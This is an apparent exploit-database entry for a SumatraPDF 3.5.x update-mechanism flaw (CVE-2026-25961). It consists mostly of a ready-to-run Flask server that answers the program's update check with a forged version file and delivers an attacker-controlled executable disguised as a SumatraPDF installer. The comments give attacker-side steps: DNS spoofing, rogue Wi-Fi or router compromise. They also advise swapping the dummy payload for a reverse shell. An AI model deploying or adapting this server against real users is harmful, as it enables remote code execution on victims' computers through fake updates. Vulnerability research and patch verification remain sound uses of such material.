SumatraPDF 3.5.2 – Remote Code Execution
# Exploit Title: SumatraPDF 3.5.2 - Remote Code Execution # Date: 2026-02-10 # Exploit Author: Mohammed I. Banyamer # Vendor Homepage: https://www.sumatrapdfreader.org/ # Software Link: https://www.sumatrapdfreader.org/download-free-pdf-viewer # Version: 3.5.0 - 3.5.2 # Tested on: Windows 10 / 11 # CVE : CVE-2026-25961 # Advisory: https://github.com/sumatrapdfreader/sumatrapdf/security/advisories/GHSA-xpm2-rr5m-x96q # CVSS: 7.5 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H # # Description: # SumatraPDF versions 3.5.0 to 3.5.2 disable TLS hostname verification during update checks # (using INTERNET_FLAG_IGNORE_CERT_CN_INVALID) and do not perform any signature or integrity # validation on the downloaded installer. # # A network-positioned attacker can: # - Intercept the HTTPS request to www.sumatrapdfreader.org/update-check-rel.txt # - Return a forged response containing a URL to an attacker-controlled executable # - When the user clicks "Install", SumatraPDF executes the downloaded file via CreateProcess # # Attack scenarios include rogue Wi-Fi, compromised home/office router, malicious upstream proxy, # or DNS hijacking / poisoning that redirects the update domain. # # This PoC provides the malicious update server component only. # The attacker must achieve traffic redirection/interception separately (MITM position). # # Usage (attacker side): # 1. Deploy this script on a server / VPS reachable from the victim # 2. Achieve network position so that victim's update request reaches your server # (e.g. DNS spoofing, rogue AP, router compromise, transparent proxy injection) # 3. Victim opens SumatraPDF → Help → Check for updates # 4. Victim sees fake new version → clicks Install → payload executes # # Notes: # - Replace the dummy payload with real malicious code (reverse shell, etc.) # - No exploit without network adversary position (MITM / DNS control) # from flask import Flask, request, Response, send_file import os app = Flask(__name__) FAKE_UPDATE_TEMPLATE = """Ver=999.9.9 Installer64=http://{}:5000/malicious_installer.exe """ PAYLOAD_FILENAME = "malicious_installer.exe" if not os.path.exists(PAYLOAD_FILENAME): print("[!] Generating dummy payload (would open calc.exe in real attack)...") with open(PAYLOAD_FILENAME, "wb") as f: f.write(b"MZ" + b"\x90"*200 + b"FAKE PAYLOAD - replace with real shellcode") @app.route("/update-check-rel.txt") def fake_update(): attacker_host = request.host.split(':')[0] update_content = FAKE_UPDATE_TEMPLATE.format(attacker_host) print(f"[+] Fake update served to {request.remote_addr} → pointing to {attacker_host}") return Response(update_content, mimetype="text/plain") @app.route("/malicious_installer.exe") def deliver_payload(): victim_ip = request.remote_addr print(f"[!] Victim {victim_ip} downloading payload → RCE would trigger on install click") return send_file( PAYLOAD_FILENAME, as_attachment=True, download_name="SumatraPDF-999.9.9-64-installer.exe", mimetype="application/octet-stream" ) if __name__ == "__main__": print("======================================================") print(" CVE-2026-25961 SumatraPDF Remote Update PoC Server ") print(" Requires MITM / DNS / router position to be effective ") print("======================================================") print("[*] Listening on http://0.0.0.0:5000") print("[*] Point victim traffic to this host for update-check-rel.txt") print("======================================================") app.run(host="0.0.0.0", port=5000, debug=False) |